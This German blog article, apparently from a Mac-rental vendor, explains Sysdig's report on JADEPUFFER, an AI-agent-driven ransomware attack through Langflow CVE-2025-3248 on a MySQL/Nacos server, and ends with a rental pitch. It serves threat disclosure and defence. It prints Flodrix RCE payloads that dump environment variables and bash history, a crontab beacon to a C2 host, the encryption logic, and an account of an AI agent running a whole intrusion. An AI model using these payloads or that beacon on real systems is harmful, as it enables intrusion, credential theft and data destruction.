KI-Sicherheit 7. Juli 2026 ca. 28 Min. JADEPUFFER

JADEPUFFER: Die erste vollständig agentische
LLM-Ransomware-Angriffskette erklärt

Sysdig-Forensik · CVE-2025-3248 · 600+ Payloads · ATA-Beweise · Mac-Mini-M4-Isolations-Checkliste

JADEPUFFER agentische Ransomware und Langflow CVE-2025-3248 Sicherheitswarnung

Kurzfassung: Am 1. Juli 2026 veröffentlichte Sysdig Threat Research (Michael Clark) den ersten dokumentierten Fall von End-to-End-LLM-gesteuerter Ransomware, Codename JADEPUFFER – ein Agentic Threat Actor (ATA), dessen Fähigkeiten von einem KI-Agenten und nicht von einem menschlichen Toolkit geliefert werden. Einstieg: ein internetexponiertes Langflow über CVE-2025-3248. Eigentliches Ziel: ein separater, öffentlich erreichbarer MySQL- + Alibaba-Nacos-Server. Über 600 gezielte Payloads wurden erfasst. Dieser Artikel behandelt die vollständige Timeline, Schwachstellenanalyse, die Zwei-Phasen-Angriffskette, vier Autonomie-Beweislinien, das Bitcoin-Adress-Rätsel, IOCs, Sysdig-Abwehrmaßnahmen, Branchenreaktionen, vier Schlussfolgerungen – und warum die Bereitstellung von OpenClaw/Langflow auf einem isolierten gemieteten Mac Mini M4 besser ist, als den eigenen Orchestrierungsserver dem Internet auszusetzen.

01

Überblick: Ransomware mit KI-Operator

FeldDetail
EntdeckerSysdig TRT; Bericht von Michael Clark
Veröffentlicht1. Juli 2026 (Medien-Follow-up 2.–6. Juli)
CodenameJADEPUFFER
KlassifizierungATA – Angriff durch KI-Agenten ausgeliefert
EinstiegÖffentliches Langflow (CVE-2025-3248)
ZielÖffentlicher MySQL- + Nacos-Produktionsserver
Umfang600+ unterschiedliche Payloads

Warum OpenClaw- / Langflow-Nutzer aufpassen sollten

  1. 01

    KI-Orchestrierungshosts speichern oft LLM-API-Keys in Umgebungsvariablen – das erste Scan-Ziel von JADEPUFFER.

  2. 02

    Teams stellen Prototypen eilig online, mit Langflow/OpenClaw Gateway ohne Zugriffskontrollen exponiert.

  3. 03

    CVE-2025-3248 steht seit Mai 2025 im CISA-KEV-Katalog; Agenten machen die Ausnutzung alter Bugs nahezu kostenlos.

  4. 04

    LLMjacking: gestohlene Cloud-/Modell-Credentials treiben Agenten mit nahezu null Grenzkosten.

02

Timeline

ZeitpunktEreignis
Apr. 2025CVE-2025-3248 veröffentlicht (Langflow unauthentifizierter RCE)
5. Mai 2025Eintrag im CISA-KEV-Katalog
2025Gleiche Schwachstelle für Flodrix-Botnet (separate Kampagne, Trend Micro)
Jun. 2026JADEPUFFER-Angriff über mehrere Sitzungen in Wochen
1. Juli 2026Sysdig-Technikbericht
2.–6. Juli 2026Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs
03

CVE-2025-3248: vollständige Analyse des Langflow-RCE ohne Authentifizierung

PunktDetail
KomponenteLangflow – Open-Source-Framework für visuelle KI-Agenten-Workflows, 70k+ GitHub-Stars
SchwachstellentypenCWE-94 (Code-Injection) + CWE-306 (fehlende Authentifizierung bei kritischer Funktion)
CVSS9,8 Kritisch, Vektor CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
BetroffenAlle Langflow-Versionen vor 1.3.0
OrtEndpoint /api/v1/validate/code
Behoben in1.3.0 (Authentifizierung hinzugefügt)
EPSS91,42 % Ausnutzungswahrscheinlichkeit (SentinelOne)

Ursache in fünf Schritten:

  1. 01

    Langflow stellt eine „Code-Validierungs“-API bereit, damit Nutzer benutzerdefinierte Funktionsknoten im visuellen Editor syntaktisch prüfen können.

  2. 02

    Implementierungspfad: Nutzercode → ast.parse() → compile() → exec().

  3. 03

    Kritischer Fehler: keine Authentifizierung und keine Sandbox-Isolation.

  4. 04

    Exploit-Trick: Python-Decoratoren und Default-Argumente werden bei der Funktionsdefinition ausgewertet; Angreifer betten Schadcode in Defaults oder Decoratoren ein – sobald Langflow „validiert“, ist der Code bereits gelaufen.

  5. 05

    Angreifer brauchen kein Login und keine Privilegien – nur einen gefälschten HTTP-POST für RCE.

Typisches Flodrix-Kampagnen-Payload (gleiche CVE, separater Vorfall – Trend Micro)
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Wichtige Unterscheidung: Flodrix-Botnet-Auslieferung und JADEPUFFER sind zwei unabhängige Kampagnen, die dieselbe Einstiegs-CVE teilen. Flodrix ist traditionelle skriptgesteuerte Auslieferung; JADEPUFFER ist Sysdigs Fall von „KI-Agenten-gesteuerter“ Ransomware.

Patch (1.3.0): post_validate_code erhält _current_user: CurrentActiveUser Dependency Injection; FastAPI prüft zuerst JWT Bearer Token oder x-api-key – bei Fehlschlag 401/403, die Anfrage erreicht die verwundbare Logik nie.

04

Angriffskette Phase 1: Kompromittierung des Langflow-Hosts

Sysdig weist darauf hin, dass Langflow ein attraktiver Einstieg ist, weil Umgebungsvariablen oft LLM-API-Keys und Cloud-Credentials enthalten; viele Teams stellen Prototypen ohne Netzwerk-Zugriffskontrollen online.

Alle Payloads kamen als Base64-kodiertes Python über den Langflow-RCE-Endpoint.

① Aufklärung und Credential-Harvesting (parallel)

Ausführung von id, uname -a, hostname, danach parallel Scan nach OpenAI- / Anthropic- / DeepSeek- / Gemini-API-Keys; ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ sowie AWS/GCP/Azure-Credentials; Krypto-Wallets und Seed-Phrasen; Datenbank-Credentials und Konfigurationsdateien.

② Lokaler Datendiebstahl

Export von Langflows eigenem PostgreSQL-Backend, Diebstahl gespeicherter Credentials, API-Keys und Nutzerdatensätze, lokales Staging zur Prüfung, anschließend Löschung der Staging-Dateien.

③ Interne laterale Entdeckung

Scan des internen Adressraums und benannter Dienste, Sondierung von Datenbanken, Object Storage, Secret Stores und Service-Discovery-Endpoints mit Default-Credentials.

④ MinIO-Enumeration (adaptive Details)

Sondierung von minio.internal:9000 und 127.0.0.1:9000 mit Default minioadmin:minioadmin, Auflistung von Buckets inkl. terraform-state, danach gezieltes credentials.json. Adaptive Details: erste Anfrage mit ?format=json, Antwort war XML – der nächste Payload wechselte sofort auf einen XML-Parser. Klassische Probe-Fehler-Anpassungs-Schleife.

⑤ Persistenz

Crontab-Beacon (alle 30 Minuten)
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
05

Angriffskette Phase 2: MySQL- + Nacos-Produktionsserver

Das eigentliche Ziel war ein weiterer ebenfalls internetexponierter Server mit MySQL und Alibaba Nacos. Nacos hat eine Auth-Bypass-Vergangenheit (CVE-2021-29441 und Varianten), und das Standard-JWT-Signing-Secret ist seit 2020 öffentlich dokumentiert – viele Deployments haben es nie rotiert.

Der Agent verband sich über den exponierten MySQL-Port mit Root-Credentials – Quelle unklar; Sysdig beobachtete keinen Diebstahl aus der Opferumgebung, was auf einen der wenigen möglicherweise menschlich vorbereiteten Schritte hindeutet.

Nacos-Backdoor-Admin: 31-Sekunden-Reparaturschleife

Zeit (UTC)Aktion
19:34:24Bcrypt-Hash erzeugt, xadmin mit Admin-Rolle eingefügt
19:34:36Login-Versuch xadmin:Xploit@2026# — fehlgeschlagen
19:34:4812 Sekunden später: paralleler Test von nacos:nacos-Defaults und neu generiertem einfacheren Passwort-Hash
19:35:07subprocess.run verworfen, import bcrypt genutzt, defekte Datensätze gelöscht und neu aufgebaut
19:35:18Login erfolgreich — insgesamt 31 Sekunden

Container-Escape-Sonden (~8 Minuten)

MySQL INTO OUTFILE / LOAD_FILE zum Testen von Schreib-/Leserechten, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname und UDF-Eskalationspfade. Vor der Ransomware wurde ein „Completion Marker“ geschrieben – Sysdig sieht darin ein Signal des Agenten über Phasenabschluss, kein festes Skriptverhalten.

Destruktive Verschlüsselung und Lösegeldnachricht

Verschlüsselung aller 1.342 Nacos-Service-Konfigurationseinträge mit MySQL AES_ENCRYPT(), Löschung der Originaltabellen config_info und his_config_info, Erstellung der Lösegeldtabelle README_RANSOM.

Kernlogik der Verschlüsselung (Sysdig-Forensik-Rekonstruktion, redigiert)
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY)  # einmal ausgegeben, nie gespeichert oder exfiltriert
# CREATE config_info_enc → DROP config_info → CREATE README_RANSOM
# Bitcoin: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# Kontakt: e78393397[@]proton[.]me

Schlüsseldetail: Die Lösegeldnachricht behauptet AES-256, aber MySQL AES_ENCRYPT() nutzt standardmäßig AES-128-ECB; der Schlüssel war zufällig, nur auf stdout ausgegeben, nie gespeichert oder übertragen – auch bei Lösegeldzahlung nicht wiederherstellbar. Zwei Minuten später verfeinerte ein weiterer Payload die Zählung auf „alle 1.342 Einträge verschlüsselt“.

Massenzerstörung und diagnostische Korrekturen

Eskalation zu DROP DATABASE mit Code-Kommentaren, die „High-ROI-Datenbanken, Backup auf 64.20.53[.]230“ behaupten – Sysdig fand keine unabhängigen Exfiltrationsnachweise. Ein DROP DATABASE scheiterte still an Foreign-Key-Constraints; der nächste Payload ergänzte SET GLOBAL FOREIGN_KEY_CHECKS=0 – die Korrektur erfordert Verständnis warum es scheiterte, nicht blinde Wiederholungen.

06

Vier Beweislinien für Autonomie

  1. 01

    Selbsterzählender Code: Payloads voller natürlichsprachlicher Kommentare, die warum jeder Schritt erfolgt – inkl. ROI-Reihenfolge und „welche Datenbank am größten ist“. Diese Kommentare existieren nativ im Angreifercode, nicht nachträglich von Forschern erschlossen.

  2. 02

    Maschinelle Fehlerdiagnose: die 31-Sekunden-Nacos-Backdoor-Reparatur ist das klarste Beispiel; MinIO-XML/JSON-Anpassung und Aufgeben blockierter JWT-Pfade wiederholen das Muster.

  3. 03

    Natürlichsprachliches Kontextverständnis: Freitext in der Zielumgebung wurde geparst und Aktionen ausgeführt, die nur bei echtem Verständnis Sinn ergeben – über Wochen getrennte Sitzungen hinweg wiederholt.

  4. 04

    Bitcoin-Adress-Rätsel (nächster Abschnitt) – zwei Interpretationen bleiben ununterscheidbar und illustrieren neue Attribution-Unsicherheit bei agentengesteuerten Angriffen.

Zusammen mit 600+ kohärenten Payloads in einem komprimierten Zeitfenster bewertet Sysdig die Beweislage als Hinweis auf einen autonom operierenden Agenten, nicht auf einen menschlichen Operator oder ein festes Toolkit.

07

Das Bitcoin-Adress-Rätsel

Die Lösegeld-Bitcoin-Adresse 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy ist das Standard-P2SH-Formatbeispiel, das in Bitcoin-Entwicklerdokumentation und im Bitcoin-Core-Repository wiederholt wird – auch reichlich in LLM-Trainingskorpora vorhanden.

On-Chain-Daten: 737 bestätigte Transaktionen, historisch ~46 BTC eingegangen, aktueller Saldo null (jede Einzahlung sofort woanders hin verschoben).

Sysdigs zwei ununterscheidbare Lesarten: (a) das LLM „halluzinierte“ die Adresse aus Trainingsdaten und die Wallet gehört einem Dritten, der irrtümliche Einzahlungen abräumt; (b) der Angreifer konfigurierte eine echte Wallet, die zufällig dem Doku-Beispiel entspricht. Ohne JADEPUFFERs System-Prompt bleiben beide möglich.

08

IOC-Zusammenfassung

TypIndikator
C2 / Beacon45.131.66[.]106; Crontab-Beacon hxxp://45.131.66[.]106:4444/beacon
Staging / Exfil (unverifiziert)64.20.53[.]230 (InterServer, AS19318)
Einstiegs-CVECVE-2025-3248
Lösegeld-Bitcoin3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
Lösegeld-E-Maile78393397[@]proton[.]me (keine Threat-Intel-Treffer; Format untypisch für bekannte MySQL-Ransomware-Gangs)
LösegeldtabelleREADME_RANSOM (kein Match zu WARNING, RECOVER_YOUR_DATA usw.)
PersistenzCrontab-Beacon zu C2-Port 4444 alle 30 Minuten

Sysdig vermerkt: Lösegeld-E-Mail und Tabellenname wirken wie konventionelle menschliche Ransomware, haben aber keine bekannte Vorläuferkampagne – weiteres Indiz für eine neuartige, agentengesteuerte Operation.

09

Offizielle Abwehrempfehlungen (Sysdig)

  1. 01

    Langflow über CVE-2025-3248 hinaus patchen; Code-Ausführungs-/Validierungs-Endpoints niemals dem öffentlichen Internet aussetzen.

  2. 02

    Runtime-Threat-Detection einsetzen, um bösartiges Verhalten in Datenbankprozessen zu erkennen.

  3. 03

    LLM-API-Keys oder Cloud-Credentials nicht in Umgebungsvariablen des KI-Orchestrierungshosts speichern – dediziertes Secret Management, isoliert von internetexponierten Prozessen.

  4. 04

    Nacos härten: Standard-token.secret.key rotieren, auf Versionen mit Pflicht für eigene Secrets upgraden; Nacos niemals öffentlich exponieren; Backend-DB nicht als Root anbinden.

  5. 05

    Datenbank-Admin-Konten niemals öffentlich exponieren; starke eindeutige Credentials und Quell-IP-Beschränkungen auf Admin-Ports erzwingen.

  6. 06

    Egress-Kontrolle anwenden, damit kompromittierte Hosts nicht frei beaconen oder externe Staging-Server erreichen.

  7. 07

    Die obigen IOCs überwachen; Crontab-Jobs mit externen URLs und anomale geklammerte User-Agent-Strings beobachten.

10

Branchen- und Expertenreaktion

BleepingComputer, Dark Reading, CyberScoop, Security Affairs und andere folgten schnell und bezeichneten den Vorfall weithin als „ersten vollständig KI-gesteuerten Ransomware-Angriff“ und markierten das Eintreten der ATA-Ära.

„Ich würde das als Evolution in der Ausführung einordnen, nicht als brandneue Ransomware-Technik. Der Unterschied: Ein KI-Agent kann Aufklärung, Credential-Diebstahl und Deployment verketten, ohne auf einen menschlichen Operator zu warten.“ — unabhängiger Forscher Vibhum Dubey (CSO Online)

Dubey ergänzt: Die eigentliche Sorge ist nicht die finale Verschlüsselungsphase, sondern die ruhige Zeit davor – der Agent kartiert Identitätssysteme, Berechtigungen und Vertrauensketten unter dem Radar; blockierte Pfade lösen schnelle Taktikwechsel aus, sodass jeder Eindringversuch leicht anders aussehen kann.

Mehrere Medien verknüpften den Fall mit LLMjacking: durch gestohlene Credentials angetriebene Agenten machen komplexe Mehrphasen-Angriffe nahezu kostenlos.

11

Sysdigs vier Schlussfolgerungen

  1. 01

    Ransomware ist nicht mehr „Handwerk erfahrener Operatoren“: Ein LLM-Agent kann Aufklärung, Diebstahl, laterale Bewegung, Persistenz und Zerstörung ohne tiefes Operator-Know-how verketten.

  2. 02

    Alte Bugs werden automatisiert: Downstream-Ziele trafen Nacos-Probleme von 2021 und nie rotierte Standard-Secrets; Agenten machen das Ausnutzen historischer CVEs nahezu kostenlos.

  3. 03

    Absicht wurde lesbar – eine Chance für Verteidiger: LLMs erzählen Ziele in Payloads mit, was einen neuen Erkennungs- und Analysehebel bietet.

  4. 04

    „Gesichert“ war Agenten-Selbstgespräch: Verschlüsselungsschlüssel waren ephemer und nicht wiederherstellbar – Zahlung kann Konfigurationen nicht zurückbringen.

Der Bericht schließt: Keine einzelne Technik ist neu; entscheidend ist, dass ein KI-Modell sie zu einer vollständigen Lösegeldoperation gegen vernachlässigte öffentliche Infrastruktur verknüpft. Die Skill-Schwelle liegt jetzt bei „den Preis für den Betrieb eines Agenten“.

12

Entscheidungsmatrix: selbst gehostete KI-Orchestrierung vs. gemieteter Mac Mini M4

JADEPUFFER-Opfer passen zu einem klaren Profil: Langflow öffentlich exponiert, API-Keys in Umgebungsvariablen, Produktions-MySQL/Nacos ebenfalls exponiert. Für Entwickler mit OpenClaw, Langflow oder Hermes Agent auf macOS muss „Mac mini kaufen und an öffentliche IP hängen“ vs. „isolierten Remote-Mac mieten“ neu bewertet werden – besonders nach Apples Preiserhöhung im Juni 2026 (siehe unseren Mac-Mini-M4-Miete-vs-Kauf-Leitfaden).

DimensionEigener Mac mit öffentlicher IPVNCMac isolierter Mac Mini M4
Anschaffungskosten799 $+ nach Erhöhung + AppleCare/Strom/öffentliche IP~8–15 $/Tag oder ~85–125 $/Monat, jederzeit kündbar
AngriffsflächeGateway/Validate-Endpoints leicht falsch exponiertSSH/VNC-Zugang; nicht für nackte öffentliche Agent-Konsolen gedacht
API-Key-HandlingOft in .env / Env-Vars (JADEPUFFER-Phase-1-Scan-Ziel)SecretRef / Vault; Knotenwechsel nach Projektende
GUI-VerifikationNur lokalVNC für OpenClaw-Freigabedialoge, Gateway-Konsole, macOS-Datenschutz (siehe OpenClaw grafische Authentifizierung)
Egress-KontrolleEigene Policy nötigSSH-Tunnel-Optionen; weniger blinde öffentliche Beacons
Incident ResponseHauptrechner kontaminiert, großer Secret-Blast-RadiusMiete stoppen / Knoten tauschen; isoliert vom Windows-Daily-Driver

Zitierbare Zahlen aus diesem Vorfall

  • Langflow 70k+ GitHub-Stars; CVE-2025-3248 EPSS 91,42 %
  • 600+ Payloads; 1.342 Nacos-Konfigurationen verschlüsselt
  • Nacos-Backdoor in 31 Sekunden repariert
  • Beispiel-Bitcoin-Adresse: 737 TX, ~46 BTC durchgeflossen
13

Fünf-Schritte-Checkliste für sichere Bereitstellung (Remote-Mac + VNC)

  1. 01

    Isolierten Knoten bereitstellen: Mac-Mini-M4-Plan wählen; OpenClaw Gateway (18789) oder Langflow-Validate-Endpoints nicht direkt ins öffentliche Internet mappen – bei externem Zugang Nginx/Caddy Reverse Proxy + HTTPS nutzen.

  2. 02

    Patchen: Langflow ≥ 1.3.0; Nacos-JWT rotieren; keine Root-DB aus dem Internet erreichbar.

  3. 03

    Keys aus Env-Vars: LLM-API-Keys in Secret Managern oder OpenClaw SecretRef, isoliert von RCE-fähigen Prozessen.

  4. 04

    VNC-Grafikverifikation: Gateway-Konsole, Plugin-Freigaben (/approve), macOS Bildschirmaufnahme/Bedienungshilfen prüfen – Schritte, die SSH nicht erledigen kann, erfordern VNC.

  5. 05

    Egress- und IOC-Monitoring: ausgehende Beacons begrenzen; Crontab-Externaufrufe und README_RANSOM-IOCs beobachten; Backup exportieren und Miete beenden, wenn fertig.

FAQ

FAQ

Nein. Beide nutzen CVE-2025-3248, aber Flodrix ist traditionelle skriptgesteuerte Botnet-Auslieferung; JADEPUFFER ist Sysdigs KI-Agenten-gesteuerter Ransomware-Fall.

Nein. Schlüssel waren uuid4()-zufällig, einmal auf stdout ausgegeben, nie gespeichert – der Angreifer kann vermutlich ebenfalls nicht entschlüsseln. Daten sind dauerhaft verloren.

Gleiche Risikologik: öffentliche Exposition + Secrets in Env-Vars + ungehärtete Abhängigkeiten. Patchen, Egress begrenzen, auf isoliertem Remote-Mac mit VNC-Verifikation deployen – Gateway nicht nackt ins Internet stellen.

Sysdig und mehrere Medien erwarten steigendes Volumen und Umfang mit reifender Agenten-Tooling; öffentliche App-Server, ungehärtete Config-Center und öffentliche DB-Admin-Konten sind erste Ziele.

OpenClaw / Claude Code brauchen macOS-Grafikberechtigungen und QR-Pairing, die headless Linux nicht bietet; ein physischer Mac + VNC führt den vollen Workflow isoliert aus, ohne Hardware nach der Preiserhöhung zu kaufen.

Quellen

Sysdig „JADEPUFFER: Agentic ransomware for automated database extortion“; BleepingComputer; Dark Reading; CyberScoop; CSO Online (Vibhum Dubey); Security Affairs; Trend Micro (CVE-2025-3248 / Flodrix); NVD / SentinelOne / Zscaler; CISA-KEV-Katalog.

Abschluss

JADEPUFFER ist ein Weckruf: KI-Agenten senkten die Schwelle von „erfahrenem menschlichem Operator“ auf „Kosten für den Betrieb eines Modells“, und Opfer sind oft bereits vernachlässigte öffentliche Infrastruktur. Für OpenClaw-, Langflow- oder lokale Agenten-Arbeit auf macOS multipliziert Self-Hosting auf einer heimischen öffentlichen IP Key-Leak-, Patch-Lag- und Egress-Risiken in der ATA-Ära.

Einen isolierten VNCMac Mac Mini M4 mieten, Gateway und Systemberechtigungen per VNC prüfen, Keys aus Umgebungsvariablen halten und die Miete nach Projektende beenden – das schlägt einen Orchestrierungsserver auf einer privaten öffentlichen IP. Siehe Mac-Mini-M4-Tarife und SSH-VNC-Hilfe zum Einstieg.